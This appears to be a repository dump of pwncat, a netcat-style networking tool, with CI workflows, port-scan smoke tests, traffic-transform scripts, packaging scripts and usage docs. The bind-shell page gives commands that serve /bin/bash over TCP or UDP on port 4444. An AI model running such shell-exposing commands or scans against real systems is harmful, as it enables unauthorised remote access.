├── requirements.txt ├── docs ├── CNAME ├── img │ ├── video01.png │ └── video02.png └── css │ └── mypy.css ├── .github ├── FUNDING.yml ├── PULL_REQUEST_TEMPLATE │ └── pull_request_template.md ├── ISSUE_TEMPLATE │ ├── general.md │ ├── feature_request.md │ └── bug_report.md └── workflows │ ├── code-mypy.yml │ ├── code-black.yml │ ├── code-pylint.yml │ ├── code-pycodestyle.yml │ ├── code-pydocstyle.yml │ ├── linting.yml │ ├── building.yml │ ├── smoke-2.7.yml │ ├── smoke-3.5.yml │ ├── smoke-3.6.yml │ ├── smoke-3.7.yml │ └── smoke-3.8.yml ├── tests ├── integration │ ├── 30-cnc---self_inject │ │ └── bash │ ├── 23-options---reconn │ │ └── README.md │ ├── 20-options---nodns │ │ ├── README.md │ │ ├── 000---tcp---client_nodns.sh │ │ ├── 100---tcp---server_nodns.sh │ │ ├── 001---udp---client_nodns.sh │ │ └── 101---udp---server_nodns.sh │ ├── 21-options---crlf │ │ ├── README.md │ │ ├── 600---tcp---client_crlf_no---server_sends_lf.sh │ │ ├── 601---tcp---client_crlf_no---server_sends_cr.sh │ │ ├── 700---tcp---server_crlf_no---client_sends_lf.sh │ │ ├── 701---tcp---server_crlf_no---client_sends_cr.sh │ │ ├── 200---tcp---client_crlf_lf---server_sends_lf.sh │ │ ├── 201---tcp---client_crlf_lf---server_sends_cr.sh │ │ └── 300---tcp---server_crlf_lf---client_sends_lf.sh │ ├── 10-mode---local_forward │ │ └── README.md │ ├── 11-mode---remote_forward │ │ └── README.md │ ├── 22-options---keep_open │ │ └── README.md │ ├── 25-options---ping_intvl │ │ └── README.md │ ├── 26-options---ping_word │ │ └── README.md │ ├── 01-behaviour-quit--client │ │ ├── README.md │ │ ├── 201---tcp---client_quites---when_invalid_http_request.sh │ │ └── 200---tcp---client_stays---when_valid_http_request.sh │ ├── 02-behaviour-quit--server │ │ └── README.md │ ├── README.md │ └── run.sh ├── pipelines │ ├── README.md │ ├── run.sh │ ├── _gen-smoke.sh │ ├── template-smoke.yml.tpl │ └── _gen-test.sh ├── smoke │ ├── 201---tcp---keep_open---kill_server---send_data │ │ ├── data │ │ │ └── start_client_send.sh │ │ ├── docker-compose.yml │ │ └── run.sh │ ├── 300---tcp---port_scan---no_banner │ │ ├── docker-compose.yml │ │ └── run.sh │ ├── 302---udp---port_scan---no_banner │ │ ├── docker-compose.yml │ │ └── run.sh │ ├── 301---tcp---port_scan---with_banner │ │ ├── docker-compose.yml │ │ └── run.sh │ ├── 303---udp---port_scan---with_banner │ │ ├── docker-compose.yml │ │ └── run.sh │ ├── 200---tcp---keep_open---kill_server---no_send │ │ ├── docker-compose.yml │ │ └── run.sh │ ├── run.sh │ └── README.md ├── README.md └── bin │ └── check-usage.sh ├── art ├── logo.png ├── banner-1.png └── banner-2.png ├── share ├── doc │ ├── requirements.txt │ ├── code │ │ ├── api.rst │ │ └── coverage.rst │ ├── img │ │ └── logo.png │ ├── pse.rst │ ├── github.rst │ ├── pypi.rst │ ├── usage │ │ ├── bind-shell.rst │ │ ├── reverse-shell.rst │ │ ├── local-port-forwarding.rst │ │ ├── remote-port-forwarding.rst │ │ ├── send-receive-files.rst │ │ └── portscanning.rst │ ├── index.rst │ ├── _static │ │ └── css │ │ │ └── pwncat.css │ ├── Makefile │ ├── faq.rst │ └── installation.rst └── pkg │ ├── README.md │ ├── .lib │ ├── pentoo.sh │ ├── blackarch.sh │ └── brew.sh │ └── Makefile ├── .readthedocs.yaml ├── pse ├── asym-enc │ ├── pse-asym_enc-client_recv.py │ ├── pse-asym_enc-client_send.py │ ├── pse-asym_enc-server_recv.py │ ├── pse-asym_enc-server_send.py │ └── README.md ├── http-post │ ├── pse-http_post-unpack.py │ ├── README.md │ └── pse-http_post-pack.py ├── chat-bot │ ├── README.md │ └── pse-chat_bot.py └── README.md ├── .editorconfig ├── CONTRIBUTING.md ├── .gitignore ├── LICENSE.txt ├── setup.py └── setup.cfg /requirements.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/CNAME: -------------------------------------------------------------------------------- 1 | pwncat.org -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: [cytopia] 2 | -------------------------------------------------------------------------------- /tests/integration/30-cnc---self_inject/bash: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /art/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cytopia/pwncat/master/art/logo.png -------------------------------------------------------------------------------- /share/doc/requirements.txt: -------------------------------------------------------------------------------- 1 | recommonmark 2 | sphinx_rtd_theme 3 | Pygments 4 | -------------------------------------------------------------------------------- /art/banner-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cytopia/pwncat/master/art/banner-1.png -------------------------------------------------------------------------------- /art/banner-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cytopia/pwncat/master/art/banner-2.png -------------------------------------------------------------------------------- /docs/img/video01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cytopia/pwncat/master/docs/img/video01.png -------------------------------------------------------------------------------- /docs/img/video02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cytopia/pwncat/master/docs/img/video02.png -------------------------------------------------------------------------------- /share/doc/code/api.rst: -------------------------------------------------------------------------------- 1 | *** 2 | API 3 | *** 4 | 5 | https://pwncat.org/pwncat.api.html 6 | -------------------------------------------------------------------------------- /share/doc/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cytopia/pwncat/master/share/doc/img/logo.png -------------------------------------------------------------------------------- /share/doc/code/coverage.rst: -------------------------------------------------------------------------------- 1 | ******** 2 | Coverage 3 | ******** 4 | 5 | https://pwncat.org/pwncat.type.html 6 | -------------------------------------------------------------------------------- /tests/pipelines/README.md: -------------------------------------------------------------------------------- 1 | # Pipelines 2 | 3 | These are just a few scripts to generate GitHub Action pipelines. 4 | -------------------------------------------------------------------------------- /share/pkg/README.md: -------------------------------------------------------------------------------- 1 | # Package builder 2 | 3 | Use [Makefile](Makefile) to build packages for various package manager. 4 | -------------------------------------------------------------------------------- /tests/integration/23-options---reconn/README.md: -------------------------------------------------------------------------------- 1 | # Server `--reconn` 2 | 3 | These tests ensure that the `--reconn` option works as expected. 4 | -------------------------------------------------------------------------------- /tests/integration/20-options---nodns/README.md: -------------------------------------------------------------------------------- 1 | # Server `-n`/`--nodns` 2 | 3 | These tests ensure that the `-n`/`--nodns` option works as expected. 4 | -------------------------------------------------------------------------------- /tests/integration/21-options---crlf/README.md: -------------------------------------------------------------------------------- 1 | # Server `-C`/`--crlf` 2 | 3 | These tests ensure that the `-C`/`--crlf` option works as expected. 4 | -------------------------------------------------------------------------------- /tests/integration/10-mode---local_forward/README.md: -------------------------------------------------------------------------------- 1 | # Server `-L`/`--local` 2 | 3 | These tests ensure that the `-L`/`--local` mode works as expected. 4 | -------------------------------------------------------------------------------- /tests/integration/11-mode---remote_forward/README.md: -------------------------------------------------------------------------------- 1 | # Server `-R`/`--remote` 2 | 3 | These tests ensure that the `-R`/`--remote` mode works as expected. 4 | -------------------------------------------------------------------------------- /tests/integration/22-options---keep_open/README.md: -------------------------------------------------------------------------------- 1 | # Server `--keep-open` 2 | 3 | These tests ensure that the `--keep-open` option works as expected. 4 | -------------------------------------------------------------------------------- /tests/integration/25-options---ping_intvl/README.md: -------------------------------------------------------------------------------- 1 | # Server `--ping-intvl` 2 | 3 | These tests ensure that the `--ping-intvl` option works as expected. 4 | -------------------------------------------------------------------------------- /tests/integration/26-options---ping_word/README.md: -------------------------------------------------------------------------------- 1 | # Server `--ping-intvl` 2 | 3 | These tests ensure that the `--ping-intvl` option works as expected. 4 | -------------------------------------------------------------------------------- /tests/integration/01-behaviour-quit--client/README.md: -------------------------------------------------------------------------------- 1 | # Client quit behaviour 2 | 3 | These tests ensure the client 4 | 5 | 1. quits automatically in TCP mode 6 | 2. stays alive in UDP mode 7 | 8 | for various different scenarious when the server is killed. 9 | -------------------------------------------------------------------------------- /tests/integration/02-behaviour-quit--server/README.md: -------------------------------------------------------------------------------- 1 | # Server quit behaviour 2 | 3 | These tests ensure the server 4 | 5 | 1. quits automatically in TCP mode 6 | 2. stays alive in UDP mode 7 | 8 | for various different scenarious when the client is killed. 9 | -------------------------------------------------------------------------------- /tests/pipelines/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | 9 | 10 | 11 | bash "${SCRIPTPATH}/_gen-test.sh" 12 | bash "${SCRIPTPATH}/_gen-smoke.sh" 13 | -------------------------------------------------------------------------------- /tests/smoke/201---tcp---keep_open---kill_server---send_data/data/start_client_send.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | set -e 3 | set -u 4 | set -x 5 | 6 | RHOST="${1}" 7 | RPORT="${2}" 8 | 9 | printf "hi\\n" | "python${PYTHON_VERSION}" /usr/bin/pwncat --no-shutdown -vvvvv "${RHOST}" "${RPORT}" 10 | -------------------------------------------------------------------------------- /share/doc/pse.rst: -------------------------------------------------------------------------------- 1 | *********************** 2 | Pwncat Scripting Engine 3 | *********************** 4 | 5 | The ``pwncat`` Scripting Engine (PSE) is a flexible way to apply your own transformations to incoming and outgoing traffic (or generally speaking to all sorts of I/O). 6 | 7 | https://github.com/cytopia/pwncat/tree/master/pse 8 | -------------------------------------------------------------------------------- /tests/README.md: -------------------------------------------------------------------------------- 1 | # Tests 2 | 3 | 4 | ## [Integration](integration/) 5 | 6 | These are integration tests run on every operating system against every Python version. 7 | 8 | 9 | ## [Smoke](smoke/) 10 | 11 | Dockerized smoke tests (yet to be implemented). 12 | 13 | 14 | ## [Pipelines](pipelines/) 15 | 16 | Scripts to generate GitHub Action workflow pipelines. 17 | -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE/pull_request_template.md: -------------------------------------------------------------------------------- 1 | # 2 | 3 | 4 | ## Description / Changes / Goal 5 | 6 | 7 | 8 | 9 | 10 | ## PR Checklist 11 | * [ ] GitHub issue linked to this PR? 12 | * [ ] CHANGELOG.md updated? 13 | * [ ] Run `make lint`? 14 | * [ ] Run `make code`? 15 | -------------------------------------------------------------------------------- /tests/integration/README.md: -------------------------------------------------------------------------------- 1 | # Integration tests 2 | 3 | These tests are supposed to run via GitHub Actions on different OS (Linux, MacOS and Windows) 4 | against all possible Python versions. 5 | You can still run them yourself on your OS with your currently installed Python version. 6 | 7 | Use the `Makefile` in the root directory to do so: 8 | ```bash 9 | make test 10 | ``` 11 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/general.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: "❔ General question" 3 | about: 'Question, inquiry or anything else?' 4 | title: '' 5 | labels: 'question' 6 | assignees: '' 7 | 8 | --- 9 | 10 | 11 | #### ISSUE TYPE 12 | 13 | - Question 14 | 15 | 16 | 17 | 18 | #### Question 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /tests/smoke/300---tcp---port_scan---no_banner/docker-compose.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3.3" 3 | 4 | services: 5 | ### 6 | ### (1) [TCP] [-z] 7 | ### SIGINT (Ctrl+c) 8 | ### 9 | scanner: 10 | image: python:${PYTHON_VERSION}-alpine 11 | hostname: server 12 | command: python${PYTHON_VERSION} /usr/bin/pwncat -z -vvvv localhost 1-65535 13 | restart: "no" 14 | volumes: 15 | - ../../../bin/pwncat:/usr/bin/pwncat 16 | -------------------------------------------------------------------------------- /tests/smoke/302---udp---port_scan---no_banner/docker-compose.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3.3" 3 | 4 | services: 5 | ### 6 | ### (1) [UDP] [-z] 7 | ### SIGINT (Ctrl+c) 8 | ### 9 | scanner: 10 | image: python:${PYTHON_VERSION}-alpine 11 | hostname: server 12 | command: python${PYTHON_VERSION} /usr/bin/pwncat -z -u -vvvv localhost 1-65535 13 | restart: "no" 14 | volumes: 15 | - ../../../bin/pwncat:/usr/bin/pwncat 16 | -------------------------------------------------------------------------------- /.readthedocs.yaml: -------------------------------------------------------------------------------- 1 | # Required 2 | version: 2 3 | 4 | # Build documentation in the docs/ directory with Sphinx 5 | sphinx: 6 | configuration: share/doc/conf.py 7 | 8 | # Optionally build your docs in additional formats such as PDF 9 | formats: [] 10 | 11 | # Optionally set the version of Python and requirements required to build your docs 12 | python: 13 | version: 3.7 14 | install: 15 | - requirements: share/doc/requirements.txt 16 | -------------------------------------------------------------------------------- /pse/asym-enc/pse-asym_enc-client_recv.py: -------------------------------------------------------------------------------- 1 | """PSE module to shift the ASCII number by 13.""" 2 | 3 | 4 | def transform(data, pse): 5 | """The transformer function.""" 6 | __PSE_ASYM_ENC_CLIENT_RECV_SHIFT = 13 7 | 8 | output = [] 9 | for c in data: 10 | num = ord(c) + __PSE_ASYM_ENC_CLIENT_RECV_SHIFT 11 | while num > 127: 12 | num -= 127 13 | output.append(chr(num)) 14 | return "".join(output) 15 | -------------------------------------------------------------------------------- /pse/asym-enc/pse-asym_enc-client_send.py: -------------------------------------------------------------------------------- 1 | """PSE module to shift the ASCII number by 14.""" 2 | 3 | 4 | def transform(data, pse): 5 | """The transformer function.""" 6 | __PSE_ASYM_ENC_CLIENT_SEND_SHIFT = 14 7 | 8 | output = [] 9 | for c in data: 10 | num = ord(c) + __PSE_ASYM_ENC_CLIENT_SEND_SHIFT 11 | while num > 127: 12 | num -= 127 13 | output.append(chr(num)) 14 | return "".join(output) 15 | -------------------------------------------------------------------------------- /pse/asym-enc/pse-asym_enc-server_recv.py: -------------------------------------------------------------------------------- 1 | """PSE module to shift the ASCII number by -14.""" 2 | 3 | 4 | def transform(data, pse): 5 | """The transformer function.""" 6 | __PSE_ASYM_ENC_SERVER_RECV_SHIFT = 14 7 | 8 | output = [] 9 | for c in data: 10 | num = ord(c) - __PSE_ASYM_ENC_SERVER_RECV_SHIFT 11 | while num < 0: 12 | num += 127 13 | output.append(chr(num)) 14 | return "".join(output) 15 | -------------------------------------------------------------------------------- /pse/asym-enc/pse-asym_enc-server_send.py: -------------------------------------------------------------------------------- 1 | """PSE module to shift the ASCII number by -13.""" 2 | 3 | 4 | def transform(data, pse): 5 | """The transformer function.""" 6 | __PSE_ASYM_ENC_SERVER_SEND_SHIFT = 13 7 | 8 | output = [] 9 | for c in data: 10 | num = ord(c) - __PSE_ASYM_ENC_SERVER_SEND_SHIFT 11 | while num < 0: 12 | num += 127 13 | output.append(chr(num)) 14 | return "".join(output) 15 | -------------------------------------------------------------------------------- /tests/smoke/301---tcp---port_scan---with_banner/docker-compose.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3.3" 3 | 4 | services: 5 | ### 6 | ### (1) [TCP] [-z --banner] 7 | ### SIGINT (Ctrl+c) 8 | ### 9 | scanner: 10 | image: python:${PYTHON_VERSION}-alpine 11 | hostname: server 12 | command: python${PYTHON_VERSION} /usr/bin/pwncat -z --banner -vvvv localhost 1-65535 13 | restart: "no" 14 | volumes: 15 | - ../../../bin/pwncat:/usr/bin/pwncat 16 | -------------------------------------------------------------------------------- /tests/smoke/303---udp---port_scan---with_banner/docker-compose.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3.3" 3 | 4 | services: 5 | ### 6 | ### (1) [UDP] [-z --banner] 7 | ### SIGINT (Ctrl+c) 8 | ### 9 | scanner: 10 | image: python:${PYTHON_VERSION}-alpine 11 | hostname: server 12 | command: python${PYTHON_VERSION} /usr/bin/pwncat -z --banner -u -vvvv localhost 1-65535 13 | restart: "no" 14 | volumes: 15 | - ../../../bin/pwncat:/usr/bin/pwncat 16 | -------------------------------------------------------------------------------- /pse/http-post/pse-http_post-unpack.py: -------------------------------------------------------------------------------- 1 | """PSE module unpack data from a HTTP POST request.""" 2 | 3 | 4 | def transform(data, pse): 5 | """The transformer function.""" 6 | param = "payload" 7 | pos = data.find(param + "=") 8 | pos += len(param + "=") 9 | 10 | body = data[pos:] 11 | if body.endswith("\r\n"): 12 | body = body.rstrip("\r\n") 13 | elif body.endswith("\n"): 14 | body = body.rstrip("\n") 15 | elif body.endswith("\r"): 16 | body = body.rstrip("\r") 17 | return body + "\n" 18 | -------------------------------------------------------------------------------- /share/doc/github.rst: -------------------------------------------------------------------------------- 1 | ****** 2 | GitHub 3 | ****** 4 | 5 | You can find ``pwncat`` on GitHub here: 6 | 7 | 8 | .. |img_lnk_logo_github| raw:: html 9 | 10 | 11 | 12 | 13 | 14 | .. list-table:: 15 | :widths: 25 16 | :header-rows: 1 17 | :class: install 18 | 19 | * - GitHub 20 | * - |img_lnk_logo_github| 21 | * - `cytopia/pwncat `_ 22 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # top-most EditorConfig file 2 | root = true 3 | 4 | # Default for all files 5 | [*] 6 | charset = utf-8 7 | end_of_line = lf 8 | insert_final_newline = true 9 | trim_trailing_whitespace = true 10 | 11 | # Custom files 12 | [*.py] 13 | indent_style = space 14 | indent_size = 4 15 | 16 | [.sh}] 17 | indent_style = tab 18 | indent_size = 4 19 | 20 | [Makefile] 21 | indent_style = tab 22 | indent_size = 4 23 | 24 | [*.{yml,yaml}] 25 | indent_style = space 26 | indent_size = 2 27 | 28 | [*.md] 29 | indent_style = space 30 | trim_trailing_whitespace = false 31 | indent_size = 2 32 | -------------------------------------------------------------------------------- /.github/workflows/code-mypy.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: mypy 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - mypy 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@v2 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /pse/http-post/README.md: -------------------------------------------------------------------------------- 1 | # PSE: HTTP POST 2 | 3 | The two scripts show-case how to pack and unpack data into HTTP POST requests. 4 | 5 | 6 | ## Usage 7 | 8 | Use high verbosity to see how the data gets transformed. 9 | 10 | ### Server 11 | ```bash 12 | pwncat -vvvv -l localhost 4444 \ 13 | --script-send pse/http-post/pse-http_post-pack.py \ 14 | --script-recv pse/http-post/pse-http_post-unpack.py 15 | ``` 16 | 17 | ### Client 18 | ```bash 19 | pwncat -vvvv localhost 4444 \ 20 | --script-send pse/http-post/pse-http_post-pack.py \ 21 | --script-recv pse/http-post/pse-http_post-unpack.py 22 | ``` 23 | -------------------------------------------------------------------------------- /.github/workflows/code-black.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: black 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - black 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@v2 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /.github/workflows/code-pylint.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: pylint 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - pylint 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@v2 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /.github/workflows/code-pycodestyle.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: pycode 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - pycodestyle 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@v2 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /.github/workflows/code-pydocstyle.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: pydoc 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - pydocstyle 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@v2 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /share/doc/pypi.rst: -------------------------------------------------------------------------------- 1 | **** 2 | PyPI 3 | **** 4 | 5 | You can find ``pwncat`` on the Python Packe Index here: 6 | 7 | .. |img_lnk_logo_pip| raw:: html 8 | 9 | 10 | 11 | 12 | 13 | 14 | .. list-table:: 15 | :widths: 25 16 | :header-rows: 1 17 | :class: install 18 | 19 | * - PyPI 20 | * - |img_lnk_logo_pip| 21 | * - `pypi.org/project/pwncat `_ 22 | -------------------------------------------------------------------------------- /pse/asym-enc/README.md: -------------------------------------------------------------------------------- 1 | # PSE: Asymmetric encryption 2 | 3 | The four scripts show-case a very basic asymmetric encryption example. 4 | 5 | 6 | ## Usage 7 | 8 | Use high verbosity to see how the data gets transformed. 9 | 10 | ### Server 11 | ```bash 12 | pwncat -vvvv -l localhost 4444 \ 13 | --script-send pse/asym-enc/pse-asym_enc-server_send.py \ 14 | --script-recv pse/asym-enc/pse-asym_enc-server_recv.py 15 | ``` 16 | 17 | ### Client 18 | ```bash 19 | pwncat -vvvv localhost 4444 \ 20 | --script-send pse/asym-enc/pse-asym_enc-client_send.py \ 21 | --script-recv pse/asym-enc/pse-asym_enc-client_recv.py 22 | ``` 23 | -------------------------------------------------------------------------------- /pse/http-post/pse-http_post-pack.py: -------------------------------------------------------------------------------- 1 | """PSE module pack data into a HTTP POST request.""" 2 | 3 | 4 | def transform(data, pse): 5 | """The transformer function.""" 6 | param = "payload" 7 | body = param + "=" + data 8 | headers = [] 9 | headers.append("POST / HTTP/1.1") 10 | headers.append("Host: localhost") 11 | headers.append("User-Agent: pwncat") 12 | headers.append("Accept: */*") 13 | headers.append("Content-Length: {}".format(len(body))) 14 | headers.append("Content-Type: application/x-www-form-urlencoded") 15 | headers.append("") 16 | headers.append("") 17 | return "\n".join(headers) + body + "\n\n" 18 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | 4 | ### Generel 5 | * Star this project to keep me going 6 | * Use `pwncat` and report bugs 7 | * Use `pwncat` and request features 8 | * Submit exotic example use cases 9 | * Check the issues and see if you can help 10 | 11 | ### Documentation 12 | * Find and fix spelling and grammar mistakes 13 | * Improve man page 14 | * Build and improve github page 15 | * Suggest things to improve 16 | 17 | ### Packages 18 | * Maintainer for `.deb` and `.rpm` packages wanted 19 | * Maintainer for `brew` packages wanted 20 | * Review pip package 21 | 22 | ### Code 23 | * Review the code 24 | * Comment the code 25 | * Add features 26 | * Fix bugs 27 | 28 | ### Other 29 | * Anything I've missed 30 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: "✨ Feature request" 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: feature 6 | assignees: '' 7 | 8 | --- 9 | 10 | 15 | 16 | 17 | #### ISSUE TYPE 18 | 19 | - Feature request 20 | 21 | 22 | 23 | 24 | #### SUMMARY 25 | 26 | 27 | 28 | 29 | #### Goal 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /tests/smoke/200---tcp---keep_open---kill_server---no_send/docker-compose.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3.3" 3 | 4 | services: 5 | ### 6 | ### (1) [TCP] [--keep-open] 7 | ### SIGINT (Ctrl+c) on Server (not sending data) 8 | ### 9 | server: 10 | image: python:${PYTHON_VERSION}-alpine 11 | hostname: server 12 | command: python${PYTHON_VERSION} /usr/bin/pwncat --no-shutdown -vvvvv -l 4444 --keep-open 13 | restart: "no" 14 | volumes: 15 | - ../../../bin/pwncat:/usr/bin/pwncat 16 | client: 17 | image: python:${PYTHON_VERSION}-alpine 18 | hostname: client 19 | command: python${PYTHON_VERSION} /usr/bin/pwncat --no-shutdown -vvvvv server 4444 20 | restart: "no" 21 | volumes: 22 | - ../../../bin/pwncat:/usr/bin/pwncat 23 | depends_on: 24 | - server 25 | -------------------------------------------------------------------------------- /share/doc/usage/bind-shell.rst: -------------------------------------------------------------------------------- 1 | ********** 2 | Bind Shell 3 | ********** 4 | 5 | 6 | .. note:: 7 | 8 | :ref:`what_is_a_bind_shell` 9 | 10 | 11 | ``pwncat`` will by default listen on both, IPv4 and IPv6 connections and serve whatever connects first. 12 | 13 | 14 | TCP Bind shell 15 | ============== 16 | 17 | Default TCP bind shell listening on ``:4444`` which behaves exactly as ``nc``. 18 | 19 | .. code-block:: bash 20 | 21 | pwncat -l -e '/bin/bash' 4444 22 | 23 | 24 | The following TCP bind shell will re-accept new clients as soon as a client has diconnected 25 | 26 | .. code-block:: bash 27 | 28 | pwncat -l -e '/bin/bash' 4444 -k 29 | 30 | 31 | UDP Bind shell 32 | ============== 33 | 34 | Default UDP bind shell listening on ``:4444`` which behaves exactly as ``nc``. 35 | 36 | .. code-block:: bash 37 | 38 | pwncat -l -e '/bin/bash' 4444 -u 39 | -------------------------------------------------------------------------------- /tests/smoke/201---tcp---keep_open---kill_server---send_data/docker-compose.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3.3" 3 | 4 | services: 5 | ### 6 | ### (1) [TCP] [--keep-open] 7 | ### SIGINT (Ctrl+c) on Server (Client sends data) 8 | ### 9 | server: 10 | image: python:${PYTHON_VERSION}-alpine 11 | hostname: server 12 | command: python${PYTHON_VERSION} /usr/bin/pwncat --no-shutdown -vvvvv -l 4444 --keep-open 13 | restart: "no" 14 | volumes: 15 | - ../../../bin/pwncat:/usr/bin/pwncat 16 | client: 17 | image: python:${PYTHON_VERSION}-alpine 18 | hostname: client 19 | command: /start.sh "server" "4444" 20 | restart: "no" 21 | volumes: 22 | - ../../../bin/pwncat:/usr/bin/pwncat 23 | - ./data/start_client_send.sh:/start.sh 24 | environment: 25 | PYTHON_VERSION: ${PYTHON_VERSION} 26 | depends_on: 27 | - server 28 | -------------------------------------------------------------------------------- /share/pkg/.lib/pentoo.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | 8 | VERSION="$( curl -sS --fail \ 9 | "https://raw.githubusercontent.com/cytopia/pwncat/master/setup.py" \ 10 | | grep -E '^\s+version=' \ 11 | | awk -F'"' '{print $2}' \ 12 | )" 13 | 14 | 15 | BYTES="$( curl -sS --fail -L \ 16 | "https://github.com/cytopia/pwncat/archive/v${VERSION}.tar.gz" --output - \ 17 | | wc -c \ 18 | )" 19 | BLAKE2B="$( curl -sS --fail -L \ 20 | "https://github.com/cytopia/pwncat/archive/v${VERSION}.tar.gz" --output - \ 21 | | python2 -c 'from pyblake2 import blake2b;import sys; print blake2b(sys.stdin.read()).hexdigest()' \ 22 | )" 23 | SHA512="$( curl -sS --fail -L \ 24 | "https://github.com/cytopia/pwncat/archive/v${VERSION}.tar.gz" --output - \ 25 | | sha512sum \ 26 | | awk '{print $1}' \ 27 | )" 28 | 29 | cat <<- EOF 30 | DIST pwncat-${VERSION}.tar.gz ${BYTES} BLAKE2B ${BLAKE2B} SHA512 ${SHA512} 31 | EOF 32 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # -------------------------------------------------------------------------------------------------- 2 | # Python cache 3 | # -------------------------------------------------------------------------------------------------- 4 | __pycache__ 5 | *.pyc 6 | 7 | 8 | # -------------------------------------------------------------------------------------------------- 9 | # Build artifacts 10 | # -------------------------------------------------------------------------------------------------- 11 | .mypy_cache/* 12 | pwncat.egg-info/ 13 | pwncat.egg-info/ 14 | build/ 15 | dist/ 16 | 17 | # Ignore custom package builds 18 | share/pkg/blackarch 19 | share/pkg/brew 20 | share/pkg/nixos 21 | share/pkg/pentoo 22 | 23 | # rtd 24 | share/doc/_build/ 25 | share/doc/make.bat 26 | share/doc/linkcheck 27 | share/doc/venv 28 | 29 | 30 | # -------------------------------------------------------------------------------------------------- 31 | # Tests 32 | # -------------------------------------------------------------------------------------------------- 33 | .env 34 | -------------------------------------------------------------------------------- /tests/integration/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | 9 | print_usage() { 10 | echo "Usage: ${0} [host] [port] [wait] [runs] [python]" 11 | echo "Valid dirs:" 12 | echo 13 | find 